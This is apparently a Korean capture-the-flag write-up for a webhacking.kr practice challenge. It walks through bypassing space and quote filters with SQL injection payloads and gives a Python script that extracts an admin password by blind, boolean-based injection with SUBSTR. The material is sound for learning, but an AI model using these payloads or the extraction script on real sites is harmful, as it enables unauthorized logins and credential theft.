문제 페이지에 들어가니, 3개의 파라미터로 로그인을 하는 페이지가 나왔다.

Input의 Value가 지정되어 있어서 값들이 채워져 있다.

디폴트 값을 확인해보니, type이 Password라서 안보였던 값이 볼 수 있었다.

 

디폴트 값인 No = 1, Id = guest, Pw = guest로 로그인을 시도하니, Get 메소드로 파라미터가 전달되고 ‘Success - guest’가 출력된 후 로그인 페이지로 리다이렉트되었다.

 

나는 순서상 No이 가장 먼저 있어서 쿼리문에 들어가는 것도 No가 먼저 들어갈 거라는 추측으로 다양한 시도를 해봤다.

그 중 하나로 no의 값을 1말고 다른 숫자를 넣어봤지만, Failure이 출력되었다. 많은 숫자들 중에서 오직 0만 아무 출력도 되지 않고 그대로 리다이렉트를 하였다.

 

다른 숫자로 넣는 것은 틀린 것 같으니, SQLi를 시도해봤다.

 

?no=1'&id=guest&pw=guest

Mysql의 Error 메서지는 출력되지 않았다.

 

?no=1 or 1=1#&id=guest&pw=guest

SELECT id FROM chall40 WHERE no=NO파라미터 and id=‘ID파라미터’ and pw=‘PW파라미터로 이루어져 있다고 생각을 하여 시도를 하였다.

SELECT id FROM chall40 WHERE no=1 or 1=1#으로 되면서 guest로 로그인이 될 것으로 생각했지만, 결과는 틀린 생각이였다.

그 이유를 생각했을 때 True가 되면 먼저 들어간 데이터 순으로 정렬되기 때문에 다른 값이 출력되어 로그인이 안된 것으로 생각이 든다.

 

?no=1=1#&id=guest&pw=guest 또는  ?no=1#&id=guest&pw=guest

위 쿼리가 실패한 후 나는 “no=1만 넣어서 쿼리를 실행시키면 어떻게 될까?”라는 생각에 시도해보니, guest로 로그인이 되었다.

 

적다보니, 생각이 났다. no=1 and 1=1는 no의 값은 1이 된다는 것이다.

그래서 다시 시도했다.

 

?no=1 and 1=1#&id=guest&pw=guest

이상하게 access denied이 출력되었다.

 

혹시 띄어쓰기에 대한 검사가 있는지 확인하기 위해 no=1를 시도해봤다.

그 결과는 띄어쓰기에 대한 검사가 있었다.

 

이를 우회하기 위해 &&를 사용하여 띄어쓰기를 사용하지 않고 시도해봤다.

 

?no=1&&1=1#&id=guest&pw=guest

로그인에 성공하였다.

 

나는 no=-1||id=‘admin’#으로 admin 계정 로그인을 시도하였다.

하지만 로그인에 실패하였다. 혹시 '에 대한 검사가 있는지 확인해봤다.

'에 검사 때문에 로그인이 실패된 것이였다. 하지만 Admin 계정으로 로그인이 바로 되지 않고, 패스워드를 쳐야 로그인이 되도록 되어있었다.

 

그래서 패스워드를 구하기 위해 SUBSTR 함수가 사용 가능한지 확인을 해봤다.

?no=1&&SUBSTR(id,1,1)=0x67

SUBSTR 함수는 검사에 걸리지 않았다. 이를 이용하여 패스워드를 알아보도록 하겠다.

 

import requests, string
from bs4 import BeautifulSoup as bs

def pwLength(url:str):
    headers = {'Cookie': 'PHPSESSID=aefsht2i59d26nohrnb3an9gev'}
    for i in range(1, 100):
        res = requests.get(url + f'?no=-1%7C%7C%28id%3D0x61646D696E%26%26length%28pw%29%3D{i}%29%23&id=guest&pw=guest', headers=headers)
        if 'admin password' in res.text:
            return i

def pwPrint(url:str, length:int):
    headers = {'Cookie': 'PHPSESSID=aefsht2i59d26nohrnb3an9gev'}
    pw =''
    for idx in range(1, length+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            res = requests.get(url + f'?no=-1%7c%7c(id%3d0x61646D696E%26%26SUBSTR(pw%2c{idx}%2c1)%3d{hex(ord(s))})%23&id=guest&pw=guest', headers=headers)
            if 'admin password' in res.text:
                pw += s
                break
        print(f'{idx}번째 완료 >>>', pw)
    print('완료 >>>', pw)

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-29/'
    length = pwLength(url)
    pwPrint(url, length)

자꾸 URL 인코딩 때문에 넘어가지 않아서 URL 인코딩을 하였다.

해당 SQL 쿼리는 -1||(id=0x61646D696E&&length(pw)={i})#-1||(id=0x61646D696E&&SUBSTR(pw,{idx},1)={s})#이다.

이렇게 하면 확실하게 admin의 pw를 획득할 수 있다.

 

admin의 패스워드를 획득하였다.

 

Admin으로 로그인을 하니, flag를 획득할 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 45 Write Up  (0) 2021.06.11
[Webhacking.kr] Old - 44 Write Up  (0) 2021.06.09
[Webhacking.kr] Old - 28 Write Up  (0) 2021.06.07
[Webhacking.kr] Old - 22 Write Up  (0) 2021.06.07
[Webhacking.kr] Old - 2 Write Up  (0) 2021.06.04
복사했습니다!